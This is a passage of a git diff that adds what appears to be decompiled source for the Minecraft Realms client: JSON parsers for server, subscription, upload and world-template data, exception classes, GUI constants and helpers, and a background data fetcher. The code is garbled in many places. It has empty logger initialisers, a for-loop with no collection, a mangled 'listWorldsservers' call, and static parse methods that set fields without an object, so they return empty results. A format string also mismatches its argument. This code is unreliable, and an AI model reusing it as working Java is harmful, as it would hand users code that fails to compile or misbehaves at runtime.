+import com.mojang.realmsclient.util.JsonUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class RealmsState
+{
+  private static final Logger LOGGER = ;
+  private String statusMessage;
+  private String buyLink;
+  
+  public RealmsState() {}
+  
+  public static RealmsState parse(String json) { RealmsState realmsState = new RealmsState();
+    try {
+      JsonParser parser = new JsonParser();
+      JsonObject jsonObject = parser.parse(json).getAsJsonObject();
+      statusMessage = JsonUtils.getStringOr("statusMessage", jsonObject, null);
+      buyLink = JsonUtils.getStringOr("buyLink", jsonObject, null);
+    } catch (Exception e) {
+      LOGGER.error("Could not parse RealmsState: " + e.getMessage());
+    }
+    return realmsState;
+  }
+  
+  public String getStatusMessage() {
+    return statusMessage;
+  }
+  
+  public String getBuyLink() {
+    return buyLink;
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/dto/RegionPingResult.java b/src/minecraft/com/mojang/realmsclient/dto/RegionPingResult.java
new file mode 100644
index 0000000..d99ec76
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/dto/RegionPingResult.java
@@ -0,0 +1,21 @@
+package com.mojang.realmsclient.dto;
+
+public class RegionPingResult
+{
+  private String regionName;
+  private int ping;
+  
+  public RegionPingResult(String regionName, int ping) {
+    this.regionName = regionName;
+    this.ping = ping;
+  }
+  
+  public int ping() {
+    return ping;
+  }
+  
+  public String toString()
+  {
+    return String.format("%s --> %.2f ms", new Object[] { regionName, Integer.valueOf(ping) });
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/dto/ServerActivity.java b/src/minecraft/com/mojang/realmsclient/dto/ServerActivity.java
new file mode 100644
index 0000000..dec8654
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/dto/ServerActivity.java
@@ -0,0 +1,25 @@
+package com.mojang.realmsclient.dto;
+
+import com.mojang.realmsclient.util.JsonUtils;
+
+public class ServerActivity
+{
+  public String profileUuid;
+  public long joinTime;
+  public long leaveTime;
+  
+  public ServerActivity() {}
+  
+  public static ServerActivity parse(com.google.gson.JsonObject element)
+  {
+    ServerActivity sa = new ServerActivity();
+    try {
+      profileUuid = JsonUtils.getStringOr("profileUuid", element, null);
+      joinTime = JsonUtils.getLongOr("joinTime", element, Long.MIN_VALUE);
+      leaveTime = JsonUtils.getLongOr("leaveTime", element, Long.MIN_VALUE);
+    }
+    catch (Exception e) {}
+    
+    return sa;
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/dto/ServerActivityList.java b/src/minecraft/com/mojang/realmsclient/dto/ServerActivityList.java
new file mode 100644
index 0000000..1849547
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/dto/ServerActivityList.java
@@ -0,0 +1,38 @@
+package com.mojang.realmsclient.dto;
+
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParser;
+import com.mojang.realmsclient.util.JsonUtils;
+import java.util.ArrayList;
+import java.util.List;
+
+public class ServerActivityList
+{
+  public long periodInMillis;
+  
+  public ServerActivityList() {}
+  
+  public List<ServerActivity> serverActivities = new ArrayList();
+  
+  public static ServerActivityList parse(String json) {
+    ServerActivityList activityList = new ServerActivityList();
+    JsonParser parser = new JsonParser();
+    try {
+      JsonElement jsonElement = parser.parse(json);
+      JsonObject object = jsonElement.getAsJsonObject();
+      periodInMillis = JsonUtils.getLongOr("periodInMillis", object, -1L);
+      JsonElement activityArray = object.get("playerActivityDto");
+      if ((activityArray != null) && (activityArray.isJsonArray())) {
+        com.google.gson.JsonArray jsonArray = activityArray.getAsJsonArray();
+        for (JsonElement element : jsonArray) {
+          ServerActivity sa = ServerActivity.parse(element.getAsJsonObject());
+          serverActivities.add(sa);
+        }
+      }
+    }
+    catch (Exception e) {}
+    
+    return activityList;
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/dto/Subscription.java b/src/minecraft/com/mojang/realmsclient/dto/Subscription.java
new file mode 100644
index 0000000..9d0b60a
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/dto/Subscription.java
@@ -0,0 +1,49 @@
+package com.mojang.realmsclient.dto;
+
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParser;
+import com.mojang.realmsclient.util.JsonUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class Subscription extends ValueObject
+{
+  private static final Logger LOGGER = ;
+  
+  public long startDate;
+  
+  public Subscription() { type = SubscriptionType.NORMAL; }
+  
+  public static Subscription parse(String json) {
+    Subscription sub = new Subscription();
+    try {
+      JsonParser parser = new JsonParser();
+      JsonObject jsonObject = parser.parse(json).getAsJsonObject();
+      startDate = JsonUtils.getLongOr("startDate", jsonObject, 0L);
+      daysLeft = JsonUtils.getIntOr("daysLeft", jsonObject, 0);
+      type = typeFrom(JsonUtils.getStringOr("subscriptionType", jsonObject, SubscriptionType.NORMAL.name()));
+    } catch (Exception e) {
+      LOGGER.error("Could not parse Subscription: " + e.getMessage());
+    }
+    return sub;
+  }
+  
+  private static SubscriptionType typeFrom(String subscriptionType) {
+    try {
+      return SubscriptionType.valueOf(subscriptionType);
+    } catch (Exception e) {}
+    return SubscriptionType.NORMAL;
+  }
+  
+
+  public int daysLeft;
+  
+  public SubscriptionType type;
+  public static enum SubscriptionType
+  {
+    NORMAL,  RECURRING;
+    
+    private SubscriptionType() {}
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/dto/UploadInfo.java b/src/minecraft/com/mojang/realmsclient/dto/UploadInfo.java
new file mode 100644
index 0000000..79b6dac
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/dto/UploadInfo.java
@@ -0,0 +1,48 @@
+package com.mojang.realmsclient.dto;
+
+import com.google.gson.JsonElement;
+import com.google.gson.JsonParser;
+import com.mojang.realmsclient.util.JsonUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class UploadInfo
+{
+  public UploadInfo() {}
+  
+  private static final Logger LOGGER = ;
+  private boolean worldClosed;
+  
+  private String token = "";
+  private String uploadEndpoint = "";
+  
+  public static UploadInfo parse(String json) {
+    UploadInfo uploadInfo = new UploadInfo();
+    try {
+      JsonParser parser = new JsonParser();
+      com.google.gson.JsonObject jsonObject = parser.parse(json).getAsJsonObject();
+      worldClosed = JsonUtils.getBooleanOr("worldClosed", jsonObject, false);
+      token = JsonUtils.getStringOr("token", jsonObject, null);
+      uploadEndpoint = JsonUtils.getStringOr("uploadEndpoint", jsonObject, null);
+    } catch (Exception e) {
+      LOGGER.error("Could not parse UploadInfo: " + e.getMessage());
+    }
+    return uploadInfo;
+  }
+  
+  public String getToken() {
+    return token;
+  }
+  
+  public String getUploadEndpoint() {
+    return uploadEndpoint;
+  }
+  
+  public boolean isWorldClosed() {
+    return worldClosed;
+  }
+  
+  public void setToken(String token) {
+    this.token = token;
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/dto/ValueObject.java b/src/minecraft/com/mojang/realmsclient/dto/ValueObject.java
new file mode 100644
index 0000000..3a42002
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/dto/ValueObject.java
@@ -0,0 +1,31 @@
+package com.mojang.realmsclient.dto;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.Modifier;
+
+
+public abstract class ValueObject
+{
+  public ValueObject() {}
+  
+  public String toString()
+  {
+    StringBuilder sb = new StringBuilder("{");
+    for (Field f : getClass().getFields()) {
+      if (!isStatic(f)) {
+        try {
+          sb.append(f.getName()).append("=").append(f.get(this)).append(" ");
+        }
+        catch (IllegalAccessException ignore) {}
+      }
+    }
+    
+    sb.deleteCharAt(sb.length() - 1);
+    sb.append('}');
+    return sb.toString();
+  }
+  
+  private static boolean isStatic(Field f) {
+    return Modifier.isStatic(f.getModifiers());
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/dto/WorldTemplate.java b/src/minecraft/com/mojang/realmsclient/dto/WorldTemplate.java
new file mode 100644
index 0000000..ea59d47
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/dto/WorldTemplate.java
@@ -0,0 +1,42 @@
+package com.mojang.realmsclient.dto;
+
+import com.google.gson.JsonObject;
+import com.mojang.realmsclient.util.JsonUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class WorldTemplate
+  extends ValueObject
+{
+  private static final Logger LOGGER = ;
+  
+  public String id;
+  public String name;
+  public String version;
+  public String author;
+  public String link;
+  public boolean minigame = false;
+  public String image;
+  
+  public WorldTemplate() {}
+  
+  public static WorldTemplate parse(JsonObject node) {
+    WorldTemplate template = new WorldTemplate();
+    try {
+      id = JsonUtils.getStringOr("id", node, "");
+      name = JsonUtils.getStringOr("name", node, "");
+      version = JsonUtils.getStringOr("version", node, "");
+      author = JsonUtils.getStringOr("author", node, "");
+      link = JsonUtils.getStringOr("link", node, "");
+      image = JsonUtils.getStringOr("image", node, null);
+      trailer = JsonUtils.getStringOr("trailer", node, "");
+      recommendedPlayers = JsonUtils.getStringOr("recommendedPlayers", node, "");
+    } catch (Exception e) {
+      LOGGER.error("Could not parse WorldTemplate: " + e.getMessage());
+    }
+    return template; }
+  
+  public String trailer;
+  public String recommendedPlayers;
+  public void setMinigame(boolean minigame) { this.minigame = minigame; }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/dto/WorldTemplateList.java b/src/minecraft/com/mojang/realmsclient/dto/WorldTemplateList.java
new file mode 100644
index 0000000..a964854
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/dto/WorldTemplateList.java
@@ -0,0 +1,36 @@
+package com.mojang.realmsclient.dto;
+
+import com.google.gson.JsonArray;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParser;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class WorldTemplateList extends ValueObject
+{
+  private static final Logger LOGGER = ;
+  public List<WorldTemplate> templates;
+  
+  public WorldTemplateList() {}
+  
+  public static WorldTemplateList parse(String json) { WorldTemplateList list = new WorldTemplateList();
+    templates = new ArrayList();
+    try {
+      JsonParser parser = new JsonParser();
+      JsonObject object = parser.parse(json).getAsJsonObject();
+      if (object.get("templates").isJsonArray()) {
+        Iterator<JsonElement> it = object.get("templates").getAsJsonArray().iterator();
+        while (it.hasNext()) {
+          templates.add(WorldTemplate.parse(((JsonElement)it.next()).getAsJsonObject()));
+        }
+      }
+    } catch (Exception e) {
+      LOGGER.error("Could not parse WorldTemplateList: " + e.getMessage());
+    }
+    return list;
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/exception/RealmsHttpException.java b/src/minecraft/com/mojang/realmsclient/exception/RealmsHttpException.java
new file mode 100644
index 0000000..0395995
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/exception/RealmsHttpException.java
@@ -0,0 +1,7 @@
+package com.mojang.realmsclient.exception;
+
+public class RealmsHttpException extends RuntimeException {
+  public RealmsHttpException(String s, Exception e) {
+    super(s, e);
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/exception/RealmsServiceException.java b/src/minecraft/com/mojang/realmsclient/exception/RealmsServiceException.java
new file mode 100644
index 0000000..6206f0c
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/exception/RealmsServiceException.java
@@ -0,0 +1,39 @@
+package com.mojang.realmsclient.exception;
+
+import com.mojang.realmsclient.client.RealmsError;
+
+public class RealmsServiceException extends Exception
+{
+  public final int httpResultCode;
+  public final String httpResponseContent;
+  public final int errorCode;
+  public final String errorMsg;
+  
+  public RealmsServiceException(int httpResultCode, String httpResponseText, RealmsError error)
+  {
+    super(httpResponseText);
+    this.httpResultCode = httpResultCode;
+    httpResponseContent = httpResponseText;
+    errorCode = error.getErrorCode();
+    errorMsg = error.getErrorMessage();
+  }
+  
+  public RealmsServiceException(int httpResultCode, String httpResponseText, int errorCode, String errorMsg) {
+    super(httpResponseText);
+    this.httpResultCode = httpResultCode;
+    httpResponseContent = httpResponseText;
+    this.errorCode = errorCode;
+    this.errorMsg = errorMsg;
+  }
+  
+  public String toString()
+  {
+    if (errorCode != -1) {
+      String translationKey = "mco.errorMessage." + errorCode;
+      String translated = net.minecraft.realms.RealmsScreen.getLocalizedString(translationKey);
+      
+      return (translated.equals(translationKey) ? errorMsg : translated) + " - " + errorCode;
+    }
+    return "Realms (" + httpResultCode + ") " + httpResponseContent;
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/exception/RetryCallException.java b/src/minecraft/com/mojang/realmsclient/exception/RetryCallException.java
new file mode 100644
index 0000000..f130393
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/exception/RetryCallException.java
@@ -0,0 +1,18 @@
+package com.mojang.realmsclient.exception;
+
+public class RetryCallException extends RealmsServiceException
+{
+  public static final int DEFAULT_DELAY = 5;
+  public final int delaySeconds;
+  
+  public RetryCallException(int delaySeconds)
+  {
+    super(503, "Retry operation", -1, "");
+    
+    if ((delaySeconds < 0) || (delaySeconds > 120)) {
+      this.delaySeconds = 5;
+    } else {
+      this.delaySeconds = delaySeconds;
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/ChatFormatting.java b/src/minecraft/com/mojang/realmsclient/gui/ChatFormatting.java
new file mode 100644
index 0000000..c0cf10a
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/ChatFormatting.java
@@ -0,0 +1,123 @@
+package com.mojang.realmsclient.gui;
+
+import java.util.Map;
+
+public enum ChatFormatting
+{
+  BLACK('0'), 
+  DARK_BLUE('1'), 
+  DARK_GREEN('2'), 
+  DARK_AQUA('3'), 
+  DARK_RED('4'), 
+  DARK_PURPLE('5'), 
+  GOLD('6'), 
+  GRAY('7'), 
+  DARK_GRAY('8'), 
+  BLUE('9'), 
+  GREEN('a'), 
+  AQUA('b'), 
+  RED('c'), 
+  LIGHT_PURPLE('d'), 
+  YELLOW('e'), 
+  WHITE('f'), 
+  OBFUSCATED('k', true), 
+  BOLD('l', true), 
+  STRIKETHROUGH('m', true), 
+  UNDERLINE('n', true), 
+  ITALIC('o', true), 
+  RESET('r');
+  
+  public static final char PREFIX_CODE = '§';
+  private static final Map<Character, ChatFormatting> FORMATTING_BY_CHAR;
+  private static final Map<String, ChatFormatting> FORMATTING_BY_NAME;
+  private static final java.util.regex.Pattern STRIP_FORMATTING_PATTERN;
+  private final char code;
+  private final boolean isFormat;
+  private final String toString;
+  
+  private ChatFormatting(char code)
+  {
+    this(code, false);
+  }
+  
+  private ChatFormatting(char code, boolean isFormat) {
+    this.code = code;
+    this.isFormat = isFormat;
+    
+    toString = ("§" + code);
+  }
+  
+  static
+  {
+    FORMATTING_BY_CHAR = new java.util.HashMap();
+    FORMATTING_BY_NAME = new java.util.HashMap();
+    STRIP_FORMATTING_PATTERN = java.util.regex.Pattern.compile("(?i)" + String.valueOf('§') + "[0-9A-FK-OR]");
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    for (ChatFormatting format : values()) {
+      FORMATTING_BY_CHAR.put(Character.valueOf(format.getChar()), format);
+      FORMATTING_BY_NAME.put(format.getName(), format);
+    }
+  }
+  
+  public char getChar() {
+    return code;
+  }
+  
+  public boolean isFormat() {
+    return isFormat;
+  }
+  
+  public boolean isColor() {
+    return (!isFormat) && (this != RESET);
+  }
+  
+  public String getName() {
+    return name().toLowerCase();
+  }
+  
+  public String toString()
+  {
+    return toString;
+  }
+  
+  public static String stripFormatting(String input) {
+    return input == null ? null : STRIP_FORMATTING_PATTERN.matcher(input).replaceAll("");
+  }
+  
+  public static ChatFormatting getByChar(char code) {
+    return (ChatFormatting)FORMATTING_BY_CHAR.get(Character.valueOf(code));
+  }
+  
+  public static ChatFormatting getByName(String name) {
+    if (name == null) return null;
+    return (ChatFormatting)FORMATTING_BY_NAME.get(name.toLowerCase());
+  }
+  
+  public static java.util.Collection<String> getNames(boolean getColors, boolean getFormats) {
+    java.util.List<String> result = new java.util.ArrayList();
+    
+    for (ChatFormatting format : values()) {
+      if (((!format.isColor()) || (getColors)) && (
+        (!format.isFormat()) || (getFormats))) {
+        result.add(format.getName());
+      }
+    }
+    return result;
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/ErrorCallback.java b/src/minecraft/com/mojang/realmsclient/gui/ErrorCallback.java
new file mode 100644
index 0000000..1877984
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/ErrorCallback.java
@@ -0,0 +1,6 @@
+package com.mojang.realmsclient.gui;
+
+public abstract interface ErrorCallback
+{
+  public abstract void error(String paramString);
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/GuiCallback.java b/src/minecraft/com/mojang/realmsclient/gui/GuiCallback.java
new file mode 100644
index 0000000..14631de
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/GuiCallback.java
@@ -0,0 +1,10 @@
+package com.mojang.realmsclient.gui;
+
+import net.minecraft.realms.RealmsButton;
+
+public abstract interface GuiCallback
+{
+  public abstract void tick();
+  
+  public abstract void buttonClicked(RealmsButton paramRealmsButton);
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/LongRunningTask.java b/src/minecraft/com/mojang/realmsclient/gui/LongRunningTask.java
new file mode 100644
index 0000000..cca0126
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/LongRunningTask.java
@@ -0,0 +1,34 @@
+package com.mojang.realmsclient.gui;
+
+import com.mojang.realmsclient.gui.screens.RealmsLongRunningMcoTaskScreen;
+
+public abstract class LongRunningTask implements Runnable, ErrorCallback, GuiCallback {
+  protected RealmsLongRunningMcoTaskScreen longRunningMcoTaskScreen;
+  
+  public LongRunningTask() {}
+  
+  public void setScreen(RealmsLongRunningMcoTaskScreen longRunningMcoTaskScreen) {
+    this.longRunningMcoTaskScreen = longRunningMcoTaskScreen;
+  }
+  
+  public void error(String errorMessage)
+  {
+    longRunningMcoTaskScreen.error(errorMessage);
+  }
+  
+  public void setTitle(String title) {
+    longRunningMcoTaskScreen.setTitle(title);
+  }
+  
+  public boolean aborted() {
+    return longRunningMcoTaskScreen.aborted();
+  }
+  
+  public void tick() {}
+  
+  public void buttonClicked(net.minecraft.realms.RealmsButton button) {}
+  
+  public void init() {}
+  
+  public void abortTask() {}
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/RealmsConstants.java b/src/minecraft/com/mojang/realmsclient/gui/RealmsConstants.java
new file mode 100644
index 0000000..7d1665f
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/RealmsConstants.java
@@ -0,0 +1,28 @@
+package com.mojang.realmsclient.gui;
+
+public class RealmsConstants {
+  public static final String GUI_ICONS_LOCATION = "textures/gui/icons.png";
+  public static final int TITLE_HEIGHT = 17;
+  public static final int COMPONENT_HEIGHT = 20;
+  public static final int EXPIRATION_NOTIFICATION_DAYS = 7;
+  public static final long SIZE_LIMIT = 1048576000L;
+  public static final int COLOR_WHITE = 16777215;
+  public static final int COLOR_GRAY = 10526880;
+  public static final int COLOR_DARK_GRAY = 5000268;
+  
+  public RealmsConstants() {}
+  
+  public static int row(int i) {
+    return 40 + i * 13;
+  }
+  
+  public static final int COLOR_MEDIUM_GRAY = 7105644;
+  public static final int COLOR_GREEN = 8388479;
+  public static final int COLOR_RED = 16711680;
+  public static final int COLOR_BLACK = -1073741824;
+  public static final int COLOR_YELLOW = 13413468;
+  public static final int COLOR_BRIGHT_YELLOW = -256;
+  public static final int COLOR_LINK = 3368635;
+  public static final int COLOR_LINK_HOVER = 7107012;
+  public static final int COLOR_INFO = 8226750;
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/RealmsDataFetcher.java b/src/minecraft/com/mojang/realmsclient/gui/RealmsDataFetcher.java
new file mode 100644
index 0000000..f32646f
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/RealmsDataFetcher.java
@@ -0,0 +1,248 @@
+package com.mojang.realmsclient.gui;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Sets;
+import com.mojang.realmsclient.client.RealmsClient;
+import com.mojang.realmsclient.dto.RealmsServer;
+import com.mojang.realmsclient.dto.RealmsServer.McoServerComparator;
+import com.mojang.realmsclient.dto.RealmsServerList;
+import com.mojang.realmsclient.exception.RealmsServiceException;
+import java.io.IOException;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.ScheduledFuture;
+import java.util.concurrent.TimeUnit;
+import net.minecraft.realms.Realms;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.opengl.Display;
+
+public class RealmsDataFetcher
+{
+  private static final Logger LOGGER = ;
+  
+  private final ScheduledExecutorService scheduler = Executors.newScheduledThreadPool(3);
+  
+  private static final int SERVER_UPDATE_INTERVAL = 60;
+  
+  private static final int PENDING_INVITES_INTERVAL = 10;
+  private static final int TRIAL_UPDATE_INTERVAL = 60;
+  private volatile boolean stopped = true;
+  
+  private ServerListUpdateTask serverListUpdateTask = new ServerListUpdateTask(null);
+  private PendingInviteUpdateTask pendingInviteUpdateTask = new PendingInviteUpdateTask(null);
+  private TrialAvailabilityTask trialAvailabilityTask = new TrialAvailabilityTask(null);
+  
+  private Set<RealmsServer> removedServers = Sets.newHashSet();
+  private List<RealmsServer> servers = Lists.newArrayList();
+  private int pendingInvitesCount;
+  private boolean trialAvailable = false;
+  
+  private ScheduledFuture<?> serverListScheduledFuture;
+  
+  private ScheduledFuture<?> pendingInviteScheduledFuture;
+  private ScheduledFuture<?> trialAvailableScheduledFuture;
+  private Map<String, Boolean> fetchStatus = new ConcurrentHashMap(Task.values().length);
+  
+  public RealmsDataFetcher() {
+    scheduleTasks();
+  }
+  
+  public synchronized void init() {
+    if (stopped) {
+      stopped = false;
+      cancelTasks();
+      scheduleTasks();
+    }
+  }
+  
+  public synchronized boolean isFetchedSinceLastTry(Task task) {
+    Boolean result = (Boolean)fetchStatus.get(task.toString());
+    return result == null ? false : result.booleanValue();
+  }
+  
+  public synchronized void markClean() {
+    for (String task : fetchStatus.keySet()) {
+      fetchStatus.put(task, Boolean.valueOf(false));
+    }
+  }
+  
+  public synchronized void forceUpdate() {
+    stop();
+    init();
+  }
+  
+  public synchronized List<RealmsServer> getServers() {
+    return Lists.newArrayList(servers);
+  }
+  
+  public int getPendingInvitesCount() {
+    return pendingInvitesCount;
+  }
+  
+  public boolean isTrialAvailable() {
+    return trialAvailable;
+  }
+  
+  public synchronized void stop() {
+    stopped = true;
+    cancelTasks();
+  }
+  
+  private void scheduleTasks() {
+    for (Task task : ) {
+      fetchStatus.put(task.toString(), Boolean.valueOf(false));
+    }
+    
+    serverListScheduledFuture = scheduler.scheduleAtFixedRate(serverListUpdateTask, 0L, 60L, TimeUnit.SECONDS);
+    pendingInviteScheduledFuture = scheduler.scheduleAtFixedRate(pendingInviteUpdateTask, 0L, 10L, TimeUnit.SECONDS);
+    trialAvailableScheduledFuture = scheduler.scheduleAtFixedRate(trialAvailabilityTask, 0L, 60L, TimeUnit.SECONDS);
+  }
+  
+  private void cancelTasks() {
+    try {
+      serverListScheduledFuture.cancel(false);
+      pendingInviteScheduledFuture.cancel(false);
+      trialAvailableScheduledFuture.cancel(false);
+    } catch (Exception e) {
+      LOGGER.error("Failed to cancel Realms tasks");
+    }
+  }
+  
+  private synchronized void setServers(List<RealmsServer> newServers) {
+    int removedCnt = 0;
+    
+    for (RealmsServer server : removedServers) {
+      if (newServers.remove(server)) {
+        removedCnt++;
+      }
+    }
+    
+    if (removedCnt == 0) {
+      removedServers.clear();
+    }
+    
+    servers = newServers;
+  }
+  
+  private synchronized void setTrialAvailabile(boolean trialAvailabile) {
+    trialAvailable = trialAvailabile;
+  }
+  
+  public synchronized void removeItem(RealmsServer server) {
+    servers.remove(server);
+    removedServers.add(server);
+  }
+  
+  private void sort(List<RealmsServer> servers) {
+    java.util.Collections.sort(servers, new RealmsServer.McoServerComparator(Realms.getName()));
+  }
+  
+  private boolean isActive() {
+    return (!stopped) && (Display.isActive());
+  }
+  
+  private class ServerListUpdateTask
+    implements Runnable
+  {
+    private ServerListUpdateTask() {}
+    
+    public void run()
+    {
+      if (RealmsDataFetcher.this.isActive()) {
+        updateServersList();
+      }
+    }
+    
+    private void updateServersList() {
+      try {
+        RealmsClient client = RealmsClient.createRealmsClient();
+        
+        if (client != null) {
+          List<RealmsServer> servers = listWorldsservers;
+          
+          if (servers != null) {
+            RealmsDataFetcher.this.sort(servers);
+            RealmsDataFetcher.this.setServers(servers);
+            fetchStatus.put(RealmsDataFetcher.Task.SERVER_LIST.toString(), Boolean.valueOf(true));
+          } else {
+            RealmsDataFetcher.LOGGER.warn("Realms server list was null or empty");
+          }
+        }
+      } catch (RealmsServiceException e) {
+        RealmsDataFetcher.LOGGER.error("Couldn't get server list", e);
+      } catch (IOException e) {
+        RealmsDataFetcher.LOGGER.error("Couldn't parse response from server getting list");
+      }
+    }
+  }
+  
+
+  private class PendingInviteUpdateTask
+    implements Runnable
+  {
+    private PendingInviteUpdateTask() {}
+    
+    public void run()
+    {
+      if (RealmsDataFetcher.this.isActive()) {
+        updatePendingInvites();
+      }
+    }
+    
+    private void updatePendingInvites() {
+      try {
+        RealmsClient client = RealmsClient.createRealmsClient();
+        
+        if (client != null) {
+          pendingInvitesCount = client.pendingInvitesCount();
+          fetchStatus.put(RealmsDataFetcher.Task.PENDING_INVITE.toString(), Boolean.valueOf(true));
+        }
+      } catch (RealmsServiceException e) {
+        RealmsDataFetcher.LOGGER.error("Couldn't get pending invite count", e);
+      }
+    }
+  }
+  
+
+  private class TrialAvailabilityTask
+    implements Runnable
+  {
+    private TrialAvailabilityTask() {}
+    
+    public void run()
+    {
+      if (RealmsDataFetcher.this.isActive()) {
+        getTrialAvailable();
+      }
+    }
+    
+    private void getTrialAvailable() {
+      try {
+        RealmsClient client = RealmsClient.createRealmsClient();
+        
+        if (client != null) {
+          trialAvailable = client.trialAvailable().booleanValue();
+          fetchStatus.put(RealmsDataFetcher.Task.TRIAL_AVAILABLE.toString(), Boolean.valueOf(true));
+        }
+      } catch (RealmsServiceException e) {
+        RealmsDataFetcher.LOGGER.error("Couldn't get trial availability", e);
+      } catch (IOException e) {
+        RealmsDataFetcher.LOGGER.error("Couldn't parse response from checking trial availability");
+      }
+    }
+  }
+  
+  public static enum Task
+  {
+    SERVER_LIST, 
+    PENDING_INVITE, 
+    TRIAL_AVAILABLE;
+    
+    private Task() {}
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/RealmsHideableButton.java b/src/minecraft/com/mojang/realmsclient/gui/RealmsHideableButton.java
new file mode 100644
index 0000000..a7df30d
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/RealmsHideableButton.java
@@ -0,0 +1,43 @@
+package com.mojang.realmsclient.gui;
+
+import net.minecraft.realms.RealmsButton;
+
+public class RealmsHideableButton extends RealmsButton {
+  boolean visible = true;
+  
+  public RealmsHideableButton(int id, int x, int y, int width, int height, String msg) {
+    super(id, x, y, width, height, msg);
+  }
+  
+  public void render(int xm, int ym) {
+    if (!visible) {
+      return;
+    }
+    
+    super.render(xm, ym);
+  }
+  
+  public void clicked(int mx, int my) {
+    if (!visible) {
+      return;
+    }
+    
+    super.clicked(mx, my);
+  }
+  
+  public void released(int mx, int my) {
+    if (!visible) {
+      return;
+    }
+    
+    super.released(mx, my);
+  }
+  
+  public void setVisible(boolean visible) {
+    this.visible = visible;
+  }
+  
+  public boolean getVisible() {
+    return visible;
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsActivityScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsActivityScreen.java
new file mode 100644
index 0000000..0e2b34e
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsActivityScreen.java
@@ -0,0 +1,529 @@
+package com.mojang.realmsclient.gui.screens;
+
+import com.google.common.cache.LoadingCache;
+import com.mojang.realmsclient.client.RealmsClient;
+import com.mojang.realmsclient.dto.RealmsServer;
+import com.mojang.realmsclient.dto.ServerActivity;
+import com.mojang.realmsclient.dto.ServerActivityList;
+import com.mojang.realmsclient.exception.RealmsServiceException;
+import java.text.SimpleDateFormat;
+import java.util.ArrayList;
+import java.util.Calendar;
+import java.util.Collections;
+import java.util.Date;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsBufferBuilder;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsDefaultVertexFormat;
+import net.minecraft.realms.RealmsScreen;
+import net.minecraft.realms.Tezzelator;
+import org.lwjgl.opengl.GL11;
+
+public class RealmsActivityScreen extends RealmsScreen
+{
+  private static final org.apache.logging.log4j.Logger LOGGER = ;
+  private final RealmsScreen lastScreen;
+  private final RealmsServer serverData;
+  private volatile List<ActivityRow> activityMap = new ArrayList();
+  private DetailsList list;
+  private int matrixWidth;
+  private String toolTip;
+  private volatile List<Day> dayList = new ArrayList();
+  private List<Color> colors = java.util.Arrays.asList(new Color[] { new Color(79, 243, 29), new Color(243, 175, 29), new Color(243, 29, 190), new Color(29, 165, 243), new Color(29, 243, 130), new Color(243, 29, 64), new Color(29, 74, 243) });
+  private int colorIndex = 0;
+  private long periodInMillis;
+  private int maxKeyWidth = 0;
+  private Boolean noActivity = Boolean.valueOf(false);
+  private int activityPoint = 0;
+  private int dayWidth = 0;
+  private double hourWidth = 0.0D;
+  private double minuteWidth = 0.0D;
+  
